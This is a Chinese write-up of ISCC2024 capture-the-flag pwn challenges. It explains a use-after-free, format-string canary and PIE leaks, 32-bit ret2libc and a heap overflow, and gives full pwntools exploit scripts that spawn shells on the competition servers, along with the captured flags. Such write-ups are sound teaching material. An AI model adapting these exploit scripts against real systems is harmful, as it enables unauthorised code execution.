ISCC2024
练武题
chaos
考点:基础UAF
分析
1.首先将附件放入IDA查看主函数功能,进入菜单函数:
- 注意到选项5不太一样,跟进该功能模块的函数查看:
- 分析得到该功能存在UAF漏洞,system(/bin/sh) 执行的前提是指针ptr指向的内容前四个字符是“Flag”,因此利用UAF漏洞将该堆块收回,接着填充内容为“Flag”即可获取shell,最后进入靶机输入 cat /flag.txt 获取flag。
exp
# 最基本的UAF,键入选项五,申请0x68【键入size=96】大小的堆块,输入“Flag”即可获取shell。 from pwn import * io = remote('182.92.237.102',10010) io.interactive() # ISCC{751503af-4116-45a3-a43c-a06add4a9386}
easyshell(⭐)
考点:64位leak_fmt + PIE基地址跳转。
坑点:后门函数不能填充起始地址【可能是因为堆栈不平衡】,使用 mov rdi /bin/sh 处地址即可。
分析
- 首先分析主要函数core_code函数代码如下,发现存在栈溢出漏洞和格式化字符串漏洞【需要输入flagis前缀来触发】:
- 由于程序运行存在while循环,可以无限次输入,直到输入exit才会退出循环,执行 rbp+0x8 地址的内容。由于程序存在canary保护并且开启了PIE,因此可以利用fmt泄露canary的值和栈上某一函数的实际地址。
【由于PIE开启后,函数地址后12位字节不会变化,因此IDA里面查得函数地址后三位是不会变的。】
然后利用 程序基地址 = 该函数实际地址 - IDA里面对应该函数的后三位地址,进而得到基地址;而实际
后门函数地址 = 基地址 + IDA里面对应地址后三位,填充到返回地址。最后利用 exit 跳转到后门函数获取shell。
分析程序栈结构得到所需canary偏移位 15,泄露函数【main+254】偏移是17,IDA对应地址为 0x1520。
exp
# 【开启PIE,低地址跳转】ret2text, # 首先输入 flagis + %n$p 获取canary 和 main+254 实际地址,进而得到基地址, # 加上后门函数的偏移得到真实地址。然后利用gets栈溢出覆盖返回地址为后门函数地址 # 【直接填充起始地址会出错,填充 mov rdi /bin/sh 处地址可以打通】,即可获得shell。 from pwn import * context(os = 'linux',arch = 'amd64',log_level = 'debug') io = remote('182.92.237.102',10011) p1 = b'flagisa' + b'%15$p' p2 = b'flagisa' + b'%17$p' io.sendlineafter(b'>>',p1) io.recvuntil(b'0x') canary = int(io.recv(16),16) print(hex(canary)) io.sendlineafter(b'>>',p2) io.recvuntil(b'0x') main_254 = int(io.recv(12),16) print(hex(main_254)) base = main_254 - 0x520 shell = 0x291 + base print(hex(shell)) p2 = b'a'*0x38+p64(canary)+p64(0)+p64(shell) io.sendlineafter(b'>>',p2) io.sendlineafter(b'>>',b'exit') io.interactive() # ISCC{b1e99cf8-d13f-4a99-a12e-3ca0b0716d1a}
Flag
考点:fmt + 32位ret2libc3
坑点:libc版本问题
分析
分析welcome函数,发现格式化字符串漏洞,可以泄露canary。back函数存在read栈溢出,打ret2libc_3泄露libc的基地址,然后在线搜索libc版本。下载并使用system函数和/bin/sh字符串地址,构造system(/bin/sh) 填充返回地址,获取shell。
本地测试查看canary偏移量。
exp
# 格式化字符串泄漏canary,32位ret2libc3。注意libc版本问题 from pwn import * io = remote('182.92.237.102',10012) elf = ELF('./Flag') context(log_level = 'debug') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.sym['back'] p1 = b'%19$p' io.sendlineafter(b"what's the content?\n",p1) io.recvuntil(b'0x') canary = int(io.recvline(),16) offset = 0x88 pop_ebx = 0x8049022 p2 = b'a'*offset + p32(canary) + 3*p32(0) + p32(puts_plt) + p32(main_addr) + p32(puts_got) io.sendlineafter(b'Input:\n',p2) puts_addr = u32(io.recvuntil(b'\xf7')[-4:]) print(hex(puts_addr)) libc = LibcSearcher("puts",puts_addr) libc = ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so') libc_base = puts_addr - libc.sym['puts'] sym = libc_base + libc.sym['system'] bin = libc_base + next(libc.search(b'/bin/sh')) payload2 = b'a'*offset + p32(canary) + 3*p32(0) + p32(sym) + p32(0) + p32(bin) io.sendlineafter(b'Input:\n',payload2) io.interactive() # ISCC{38a24130-0a34-490b-836b-0442c858e5aa}
shopping(⭐⭐)
参考ctfshow–pwn180【还没做…】,几乎一模一样。
分析
略
exp
from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') io = remote('182.92.237.102',10019) elf = ELF('./shopping') system_plt = elf.plt['system'] io.sendlineafter('Enter the password: \n',"I'm ready for shopping") def add(size,n,content=''): io.sendlineafter(b'Action:',b'1') io.sendlineafter(b'Item ID: ',str(size)) io.sendlineafter(b'Quantity: ',str(n)) if content == '': io.sendlineafter('Add gift message? (0/1): ','0') else: io.sendlineafter('Add gift message? (0/1): ','1') io.sendafter(b'Message: ',content) for i in range(12): add(0x4000,1000) add(0x4000,262,'0'*0x3FF0) payload = b'1'*0x50 + p32(0) + p32(3) + 10*p64(0x60201d) sleep(0.2) io.send(payload) sleep(0.2) payload = b'/bin/sh'.ljust(0xB,b'\x00') + p64(system_plt) payload = payload.ljust(0x60,b'b') add(0x60,0,payload) io.interactive() # ISCC{xdyxrI87xohgzADH6wp5Xh6uonw61xa6WfLr}
from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') #io = process('./pwn') #io = remote('127.0.0.1',10000) io = remote('pwn.challenge.ctf.show',28117) elf = ELF('./pwn180') system_plt = elf.plt['system'] io.sendlineafter('password:',"WTF Arena has a secret!") def add(size,n,content=''): io.sendlineafter('Action:','1') io.sendlineafter('Size:',str(size)) io.sendlineafter('Pad blocks:',str(n)) if content == '': io.sendlineafter('Content? (0/1):','0') else: io.sendlineafter('Content? (0/1):','1') io.sendafter('Input:',content) for i in range(12): add(0x4000,1000) add(0x4000,262,'0'*0x3FF0) payload = b'1'*0x50 + p32(0) + p32(3) + 10*p64(0x60201d) sleep(0.2) io.send(payload) sleep(0.2) payload = b'/bin/sh'.ljust(0xB,b'\x00') + p64(system_plt) payload = payload.ljust(0x60,b'b') add(0x60,0,payload) io.interactive()
擂台题
great
考点:32位ret2libc_3
分析
首先根据IDA源码依次输入“yes”进入welcome函数 和“OK”进入great函数。在great函数发现栈溢出,直接打ret2libc_3即可,将第一次返回地址填充为great函数地址,这样第二次就不用一层一层进来了。
exp
# 常规32位 ret2libc3 from pwn import * from LibcSearcher import * io = remote('182.92.237.102',10014) elf = ELF('./great') context(log_level = 'debug') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.sym['great'] io.sendlineafter(b'ISCC?\n',b'yes') io.sendlineafter(b'great.\n',b'OK') payload1 = b'a'*112 + p32(puts_plt) + p32(main_addr) + p32(puts_got) io.sendlineafter(b'Here it is!\n',payload1) puts_addr = u32(io.recvuntil(b'\xf7')[-4:]) print(hex(puts_addr)) libc = LibcSearcher("puts",puts_addr) libc_base = puts_addr - libc.dump('puts') sym = libc_base + libc.dump('system') bin = libc_base + libc.dump('str_bin_sh') payload2 = b'a'*112 + p32(sym) + p32(main_addr) + p32(bin) io.sendlineafter(b'Here it is!\n',payload2) io.interactive() # ISCC{1c2bac74-155f-4082-9300-807d5414da63}